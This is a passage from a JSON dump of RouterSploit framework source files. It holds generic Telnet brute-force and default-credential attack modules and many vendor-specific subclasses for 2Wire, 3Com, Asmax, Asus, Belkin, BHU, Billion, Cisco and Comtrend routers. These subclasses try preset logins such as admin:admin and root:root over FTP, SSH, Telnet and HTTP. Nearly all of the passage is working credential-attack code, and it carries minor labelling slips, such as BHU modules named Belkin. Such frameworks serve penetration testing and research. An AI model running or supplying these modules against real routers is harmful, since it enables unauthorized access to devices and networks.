print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next().split(\":\", 1)\n                ssh_client = self.ssh_create()\n                if ssh_client.login(username, password):\n                    if self.stop_on_success:\n                        running.clear()\n\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n                    ssh_client.close()\n\n            except StopIteration:\n                break\n\n    def check(self):\n        ssh_client = self.ssh_create()\n        if ssh_client.test_connect():\n            print_status(\"Target exposes SSH service\", verbose=self.verbosity)\n            return True\n\n        print_status(\"Target does not expose SSH\", verbose=self.verbosity)\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(self.defaults)\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/telnet_bruteforce.py",
    "content": "import itertools\nfrom routersploit.core.exploit import *\nfrom routersploit.core.telnet.telnet_client import TelnetClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(TelnetClient):\n    __info__ = {\n        \"name\": \"Telnet Bruteforce\",\n        \"description\": \"Module performs bruteforce attack against Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    usernames = OptWordlist(\"admin\", \"Username or file with usernames (file://)\")\n    passwords = OptWordlist(wordlists.passwords, \"Password or file with passwords (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting bruteforce attack against Telnet service\")\n\n        data = LockedIterator(itertools.product(self.usernames, self.passwords))\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next()\n                telnet_client = self.telnet_create()\n                if telnet_client.login(username, password, retries=3):\n                    if self.stop_on_success:\n                        running.clear()\n\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n                    telnet_client.close()\n\n            except StopIteration:\n                break\n\n    def check(self):\n        telnet_client = self.telnet_create()\n        if telnet_client.test_connect():\n            print_status(\"Target exposes Telnet service\", verbose=self.verbosity)\n            return True\n\n        print_status(\"Target does not expose Telnet service\", verbose=self.verbosity)\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(itertools.product(self.usernames, self.passwords))\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/telnet_default.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.telnet.telnet_client import TelnetClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(TelnetClient):\n    __info__ = {\n        \"name\": \"Telnet Default Creds\",\n        \"description\": \"Module performs dictionary attack with default credentials against Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    defaults = OptWordlist(wordlists.defaults, \"User:Pass or file with default credentials (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting default credentials attack against Telnet service\")\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next().split(\":\", 1)\n                telnet_client = self.telnet_create()\n                if telnet_client.login(username, password, retries=3):\n                    if self.stop_on_success:\n                        running.clear()\n\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n                    telnet_client.close()\n\n            except StopIteration:\n                break\n\n    def check(self):\n        telnet_client = self.telnet_create()\n        if telnet_client.test_connect():\n            print_status(\"Target exposes Telnet service\", verbose=self.verbosity)\n            return True\n\n        print_status(\"Target does not expose Telnet service\", verbose=self.verbosity)\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(self.defaults)\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/printers/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/2wire/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/2wire/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\n\n# hack to import from directory/filename starting with a number\nFTPDefault = utils.import_exploit(\"routersploit.modules.creds.generic.ftp_default\")\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"2Wire Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against 2Wire Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"2Wire Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/2wire/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\n\n# hack to import from directory/filename starting with a number\nSSHDefault = utils.import_exploit(\"routersploit.modules.creds.generic.ssh_default\")\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"2Wire Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against 2Wire Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"2Wire Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/2wire/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\n\n# hack to import from directory/filename starting with a number\nTelnetDefault = utils.import_exploit(\"routersploit.modules.creds.generic.telnet_default\")\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"2Wire Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Asmax Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"2Wire Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/3com/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/3com/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\n\n# hack to import from directory/filename starting with a number\nFTPDefault = utils.import_exploit(\"routersploit.modules.creds.generic.ftp_default\")\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"3Com Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against 3Com Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"3Com Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/3com/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\n\n# hack to import from directory/filename starting with a number\nSSHDefault = utils.import_exploit(\"routersploit.modules.creds.generic.ssh_default\")\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"3Com Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against 3Com Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"3Com Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/3com/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\n\n# hack to import from directory/filename starting with a number\nTelnetDefault = utils.import_exploit(\"routersploit.modules.creds.generic.telnet_default\")\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"3Com Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against 3Com Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"3Com Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/asmax/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/asmax/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Asmax Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Asmax Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asmax Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,support:support,user:user\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/asmax/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Asmax Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Asmax Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asmax Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,support:support,user:user\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/asmax/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Asmax Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Asmax Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asmax Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,support:support,user:user\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/asmax/webinterface_http_auth_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.http_basic_digest_default import Exploit as HTTPBasicDigestDefault\n\n\nclass Exploit(HTTPBasicDigestDefault):\n    __info__ = {\n        \"name\": \"Asmax Router Default Web Interface Creds - HTTP Auth\",\n        \"description\": \"Module performs dictionary attack against Asmax Router web interface. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asmax Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n    path = OptString(\"/\", \"Target path\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,support:support,user:user\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/asus/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/asus/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Asus Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Asus Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asus Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,root:root,Admin:Admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/asus/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Asus Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Asus Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asus Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,root:root,Admin:Admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/asus/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Asus Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Asus Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Asus Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password,root:root,Admin:Admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/belkin/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/belkin/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Belkin Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Belkin Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Belkin Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/belkin/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Belkin Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Belkin Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Belkin Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/belkin/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Belkin Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Belkin Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Belkin Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin,admin:password\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/bhu/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/bhu/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Belkin Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Belkin Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Belkin Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/bhu/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Belkin Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Belkin Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Belkin Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/bhu/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Belkin Router Telnet Creds\",\n        \"description\": \"Module performs dictioanry attack against Belkin Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Belkin Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/billion/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/billion/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Billion Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Billion Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Billion Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Taret FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/billion/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Billion Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Billion Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Billion Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/billion/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Billion Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Billion Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Billion Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/cisco/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Cisco Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Cisco Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Cisco Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/cisco/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Cisco Router Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Cisco Router SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Cisco Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/cisco/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Cisco Router Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Cisco Router Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Cisco Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or f ile with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/comtrend/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/routers/comtrend/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Comtrend Router Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Comtrend Router FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Comtrend Router\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/routers/comtrend/ssh_default_creds.py",
